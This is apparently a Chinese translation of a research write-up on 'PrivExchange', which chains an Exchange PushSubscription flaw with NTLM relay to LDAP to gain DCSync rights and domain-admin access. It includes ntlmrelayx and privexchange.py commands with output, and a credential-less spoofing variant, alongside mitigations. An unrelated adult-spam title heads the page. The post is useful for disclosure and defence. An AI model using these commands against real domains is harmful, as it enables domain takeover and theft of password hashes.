亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

在多數(shù)使用Active Directory和Exchange的組織中，Exchange服務(wù)器通常具有很高的權(quán)限，Exchange服務(wù)器上的管理員可以升級為域管理員。最近我看了一份來自于ZDI的文章(CVE-2018-8581的技術(shù)細節(jié)及其利用方式)，其中詳細介紹了一種通過HTTP使用NTLM向攻擊者進行交換身份驗證的方法。但我認為漏洞的危害不止于此，我們還可以將其與NTLM中繼攻擊相結(jié)合，使得用戶可以低權(quán)限(任意擁有郵箱的用戶)提權(quán)到域管理員。在默認情況下，我見過使用Exchange的組織有90%都會受到該攻擊的威脅，并且在我寫下這篇文章的時候還沒有相應(yīng)的patch，暫時只能通過一些緩解措施來防止此權(quán)限升級。本文詳細介紹了攻擊方法，一些更具技術(shù)性的細節(jié)和相應(yīng)的緩解措施，以及POC。我將本次攻擊稱為”PrivExchange”

通過新方式組合已知漏洞

本文將一些已知的漏洞和已知的協(xié)議弱點結(jié)合成一個新的攻擊方法。一共有3個部分組合起來，可以從低權(quán)限提權(quán)(任意擁有郵箱的用戶)到域管理員訪問權(quán)限：

1. 默認情況下，Exchange Server具有過高的權(quán)限
2. NTLM身份驗證容易受到中繼攻擊
3. Exchange具有一項功能，可以使用Exchange服務(wù)器的計算機帳戶對攻擊者進行身份驗證

一、交換和高權(quán)限

此處的主要漏洞是Exchange在Active Directory域中具有高權(quán)限。該Exchange Windows Permissions組可以以WriteDacl的權(quán)限來訪問Active Directory中的Domain對象，該對象允許該組的任何成員修改域權(quán)限，其中包括執(zhí)行DCSync操作的權(quán)限。具有此權(quán)限的用戶或計算機可以執(zhí)行域控制器通常用于復(fù)制的同步操作，這允許攻擊者同步Active Directory中用戶的所有哈希密碼。一些研究人員已經(jīng)介紹了這一點（參見本文末尾的參考文獻部分），我去年與我的Fox-IT同事Rindert一起寫過這篇文章。在那篇文章中，我還發(fā)布了對ntlmrelayx的更新(https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)，?這增加了在NTLM中繼時執(zhí)行這些基于訪問控制列表(ACL)的攻擊的可能性。

NTLM中繼攻擊

NTLM中繼攻擊并不是一種新的攻擊手法。以前，我們主要關(guān)注的是通過SMB轉(zhuǎn)發(fā)NTLM身份驗證，以此來在其他主機上執(zhí)行代碼。但遺憾的是，大多數(shù)公司網(wǎng)絡(luò)并未啟用SMB簽名，因此我們不能通過該方法進行攻擊。但我們可以試試其他協(xié)議，其他協(xié)議也容易受到中繼攻擊。在我看來，最有意思的協(xié)議是LDAP，它可以用來讀取和修改(Active)目錄中的對象。你可以訪問該鏈接復(fù)習一下NTLM中繼攻擊(https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)。簡易的攻擊流程是，在沒有進行相關(guān)的配置來阻止攻擊的情況下，我們可以通過Windows(或自動地)將攻擊者的計算機連接到網(wǎng)絡(luò)中的其他計算機時執(zhí)行(自動)身份驗證，如下圖所示：

當身份驗證進行到LDAP這一步時，可以修改目錄中的對象來授予攻擊者權(quán)限，包括DCSync操作所需的權(quán)限。

因此，如果我們可以讓Exchange服務(wù)器通過NTLM身份驗證向我們進行身份驗證，我們就可以執(zhí)行ACL攻擊。注意，僅當受害者通過HTTP而不是通過SMB對我們進行身份驗證時，才能中繼到LDAP。（將在技術(shù)詳解一節(jié)中詳細闡述）

讓Exchange進行身份驗證

到目前為止，唯一缺少的部分是讓Exchange對我們進行身份驗證的簡單方法。ZDI研究員發(fā)現(xiàn)可以通過Exchange PushSubscription功能使Exchange通過HTTP對任意URL進行身份驗證。在他們的文章中(https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange) 他們使用此漏洞將NTLM身份驗證中繼回Exchange(這稱為反射攻擊)并冒充其他用戶。如果我們將此與默認情況下Exchange具有的高權(quán)限相結(jié)合并執(zhí)行中繼攻擊而不是反射攻擊，我們可以使用這些權(quán)限為自己授予DCSync權(quán)限。推送通知服務(wù)有一個選項，即每隔X分鐘發(fā)送一條消息(攻擊者可以指定X)，即使沒有發(fā)生任何事件，即使收件箱中沒有新來信，也可以確保Exchange連接到我們。

執(zhí)行權(quán)限提升攻擊

下面顯示了上述攻擊的示意圖，顯示了為升級權(quán)限而執(zhí)行的步驟：

我們需要兩個工具來執(zhí)行攻擊，privexchange.py(https://github.com/dirkjanm/privexchange/)和`ntlmrelayx`(https://github.com/SecureAuthCorp/impacket/)。?以域控制器上的LDAP作為目標，以中繼模式啟動ntlmrelayx，對攻擊者所控制的ntu用戶進行提權(quán)操作：

ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

現(xiàn)在我們運行privexchange.py腳本：

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.

當與沒有郵箱的用戶一起運行時，我們將收到上述錯誤。我們再次嘗試與有郵箱的用戶：

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local 
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

一分鐘后(我們所設(shè)定的值)，我們看到ntlmrelayx的連接，它為我們的用戶提供DCSync權(quán)限：

我們使用secretsdump確認DCSync權(quán)限已到位：

通過獲取到的所有Active Directory用戶的哈希密碼，攻擊者可以創(chuàng)建冒充任何用戶的tickets，或使用任何用戶密碼哈希通過任何接受域中的NTLM或Kerberos的身份驗證。

技術(shù)詳解：中繼到LDAP和簽名

前文提到過，我們無法通過SMB將認證憑證中轉(zhuǎn)到LDAP，因此我們無法使用最近公布的SpoolService RPC濫用(https://github.com/leechristensen/SpoolSample/) 技術(shù)來進行攻擊（因為SpoolService RPC使用的是基于SMB的認證過程）。這方面的問題一直在出現(xiàn)，我將會詳細解釋為什么會這樣。如果你不想深入了解NTLM身份驗證，請?zhí)^本節(jié)。

SMB和HTTP中的NTLM身份驗證之間的區(qū)別在于默認協(xié)商的標志。關(guān)鍵點在于NTLMSSP_NEGOTIATE_SIGNflag（0x00000010），關(guān)于這個標志，可查看該網(wǎng)站(https://msdn.microsoft.com/en-us/library/cc236650.aspx)。?默認情況下，HTTP上的NTLM身份驗證不會設(shè)置此標志，但如果在SMB上使用此標志，則默認情況下將設(shè)置此標志：

當我們將此數(shù)據(jù)包中繼到LDAP時，將成功完成身份驗證，但LDAP期望使用從密碼派生的會話密鑰（中繼攻擊中沒有該密碼，因此也不會有該密鑰）對所有消息進行簽名。因此，LDAP將忽略沒有簽名的任何消息，從而導(dǎo)致我們的攻擊失敗。是否可能在傳輸過程中修改這些標志，這樣就不會進行簽名協(xié)商。這在現(xiàn)在的Windows中不起作用，因為它們默認包含MIC(消息完整性檢查)，這是基于全部的3個NTLM消息的簽名，因此任何消息中的任何修改都會使其失效。

我們可以刪除MIC嗎？可以，因為它不在NTLM消息的受保護部分。然而，在NTLM身份驗證（僅限NTLMv2）中有一種保護機制可以防止這種情況發(fā)生：在NTLMv2響應(yīng)包中，它使用受害者的密碼簽名，包含一個AV_PAIR結(jié)構(gòu)MsvAvFlags。當此字段值為0x0002時，表示客戶端發(fā)送的type 3消息包含MIC字段。

修改NTLMv2響應(yīng)會使身份驗證無效，因此我們也無法刪除此標志字段。該標志字段表示在認證過程中計算并包含MIC，這將使目標服務(wù)器對MIC進行驗證，進而驗證所有3條消息在傳輸過程中是否被修改，因此我們無法刪除簽名標志。

我認為這種情況只適用于Microsoft實現(xiàn)的NTLM。實現(xiàn)NTLM的自定義設(shè)備的安全性很可能不會到添加MIC和AV_PAIR標志的級別，這讓它們?nèi)菀状嬖跇酥颈恍薷牡耐{，從而使SMB-> LDAP中繼成為可能。這種情況的一個例子是NTLM 的Java實現(xiàn)，它可以在傳輸過程中進行修改以繞過安全措施。

在沒有任何憑據(jù)的情況下執(zhí)行攻擊

在上一節(jié)中，我們使用受損憑據(jù)來執(zhí)行攻擊的第一步。但如果攻擊者只能執(zhí)行網(wǎng)絡(luò)攻擊卻沒有任何憑據(jù)，我們依然可以觸發(fā)Exchange進行身份驗證。

如果我們執(zhí)行SMB到HTTP（或HTTP到HTTP）中繼攻擊（使用LLMNR / NBNS / mitm6欺騙），我們可以將同一網(wǎng)段中用戶的身份驗證中繼到Exchange EWS并使用其憑據(jù)觸發(fā)回調(diào)。我已經(jīng)編寫好一個小攻擊腳本httpattack.py，通過它我們可以使用ntlmrelayx從網(wǎng)絡(luò)角度執(zhí)行攻擊而無需任何憑據(jù)(需要在代碼中修改攻擊目標host)：

緩解措施

此攻擊取決于各種組件的工作，適用于此次攻擊的最重要的緩解措施是：

• 刪除Exchange對Domain對象所具有的不必要的高權(quán)限（請參考下面的鏈接）。
• 啟用LDAP簽名并啟用LDAP通道綁定(https://support.microsoft.com/en-us/help/4034879/how-to-add-the-ldapenforcechannelbinding-registry-entry)，?以防止LDAP中繼攻擊和LDAPS中繼攻擊
• 阻止Exchange服務(wù)器與任意端口上的工作站建立連接。
• 在IIS中的Exchange端點上啟用身份驗證擴展保護機制(https://msdn.microsoft.com/en-us/library/dd767318%28v=vs.90%29.aspx) （但不要在Exchange后端使用，這將影響Exchange的正常使用）。該機制可以驗證NTLM身份驗證中的通道綁定參數(shù)，該參數(shù)將NTLM身份驗證與TLS連接聯(lián)系起來，并阻止攻擊者向Exchange Web服務(wù)發(fā)起中繼攻擊。
• 刪除注冊表項，這樣可以將中繼返回到Exchange服務(wù)器，如微軟對于CVE-2018-8518的防御方法(https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581)中所述。
• 在Exchange服務(wù)器上啟用SMB簽名（最好域中的所有其他服務(wù)器和工作站都啟用該機制），以防止對SMB的跨協(xié)議中繼攻擊。

相關(guān)工具&受影響的版本

POC:https://github.com/dirkjanm/PrivExchange
已在以下Exchange/Windows版本上進行了測試：

• Exchange 2013 (CU21)，Server 2012R2，中繼至Server 2016 DC（所有產(chǎn)品已打補丁）
• Exchange 2016 (CU11)，Server 2016，中繼至Server 2019 DC（所有產(chǎn)品已打補丁）
  上述兩個Exchange服務(wù)器都是使用共享權(quán)限模式（默認設(shè)置）安裝的，但根據(jù)這篇文章(https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md)，?RBAC權(quán)限分離部署也很容易受到攻擊（但我沒有對此進行過測試）。

參考文獻

緩解措施

• 使用powershell刪除Exchange危險權(quán)限(https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1)
• 識別和刪除危險的Exchange權(quán)限(https://www.blackhat.com/docs/webcast/04262018-Webcast-Toxic-Waste-Removal-by-Andy-Robbins.pdf)
• ACL提權(quán)研究(https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf)

NTLM中繼/簽名機制

• NTLM反射攻擊的研究進展(https://github.com/SecureAuthCorp/impacket/issues/451)
• NTLM SMB到LDAP的中繼攻擊(https://github.com/SecureAuthCorp/impacket/pull/500)
• 處理中繼憑證(https://www.secureauth.com/blog/playing-relayed-credentials)

其他參考

• MS-NLMP(https://msdn.microsoft.com/en-us/library/cc236621.aspx)
• ZDI關(guān)于Exchange該漏洞的詳細分析(https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange)
• 如何通過中心主機遠程中繼(https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/)

原文地址：https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/